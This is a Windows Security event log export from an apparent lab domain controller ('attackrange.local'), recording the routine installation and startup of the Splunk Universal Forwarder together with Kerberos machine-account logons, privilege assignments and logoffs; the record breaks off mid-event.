ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250143
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1120
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x10f0
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	btool  server list general --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250142
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10f0
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x10d8
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c btool server list general --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250141
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x107c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x108c
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool web list settings --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250140
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x108c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x109c
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	btool  web list settings --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250139
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x109c
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x10d8
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c btool web list settings --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250138
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10d8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x10d4
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe"  start --answer-yes --no-prompt --accept-license --auto-ports 

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250137
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10cc
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x10d4
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250136
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10d4
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x2ec
	Creator Process Name:	C:\Windows\System32\msiexec.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" start --answer-yes --no-prompt --accept-license --auto-ports >> "C:\Users\ADMINI~1\AppData\Local\Temp\splunk.log" 2>&1"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250135
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xaa4
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1344
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\powershell2.cmd" --scheme"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250134
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xFF8A2

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250133
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xFF8A2
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64397

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250132
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xFF8A2

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250131
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xFF841

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250130
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xFF841
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64396

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250129
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xFF841

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250128
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xFF7DB

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250127
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xFF7DB
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64395

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250126
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xFF7DB

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250125
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xFF77A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250124
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xFF77A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64394

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250123
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xFF77A

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250122
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1020
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1344
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\powershell.cmd" --scheme"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250168
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11e0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x11d8
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list httpServerListener: --no-log

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250167
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11d8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\btool.exe
	Token Elevation Type:	%%1936
